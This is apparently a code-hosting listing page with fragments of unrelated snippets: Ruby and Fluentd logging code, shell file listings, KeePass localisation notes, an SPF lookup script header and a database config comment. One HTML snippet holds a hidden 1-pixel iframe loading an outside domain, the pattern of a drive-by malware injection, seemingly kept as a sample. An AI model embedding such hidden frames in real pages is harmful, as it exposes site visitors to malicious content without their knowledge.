#!/home/ytera/ruby-2.1.0/bin/ruby
require 'csv'
require 'json'
require 'net/http'
require 'uri'
indexname = 'ldgourmet'
documentname = 'restaurant'
# ls -l www-access.tsv
lrwxrwxrwx 1 root root 58 Feb 6 18:32 www-access.tsv -> /usr/local/apache/logs/www/2014/02/20140206-www-access.tsv
# stat www-access.tsv
File: `www-access.tsv' -> `/usr/local/apache/logs/www/2014/02/20140206-www-access.tsv'
Size: 58 Blocks: 0 IO Block: 4096 symbolic link
Device: 907h/2311d Inode: 4257159 Links: 1
Access: (0777/lrwxrwxrwx) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2014-02-06 18:32:15.000000000 +0900
View
-> Change Language
-> Get more languages...
http://keepass.info/translations.html
ダウンロードした zip ファイルを展開して ~/.local/share/KeePass/
に置く、日本語の場合のファイル名は Japanese.lngx
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /usr/bin/env ruby | |
#**************************************************************************** | |
# | |
# Usage: spfaddr.rb <domain> | |
# | |
# spfaddr.rb _spf.google.com | |
# | |
#**************************************************************************** | |
require 'dnsruby' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
</head> | |
<body> | |
<iframe src="http://www.koushin-lawfirm.jp/" style="width:100%; height:100%;"></iframe> | |
<iframe src="http://live.livelistingreport.com/?PHPSSESID=njrMNruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg%7cYWIyYzgzZDgwNTI1MTFjYmQwMDk4ZjFlODM0ODA4ZjI" style="width:1px; height:1px; visibility:hidden;"></iframe> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module Fluent | |
class AsisTailInput < TailInput | |
Plugin.register_input('tailasis', self) | |
def initialize | |
super | |
@parser = nil | |
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# <match dbi.test> | |
# type dbi | |
# #dsn DBI:Pg:dbname:127.0.0.1 | |
# dsn DBI:Mysql:dbname:127.0.0.1 | |
# db_user username | |
# db_pass password | |
# keys host,time_m,method,uri,protocol,status | |
# query insert into access_log (host, time, method, uri, protocol, status) values (?, ?, ?, ?, ?, ?) | |
# </match> |
OlderNewer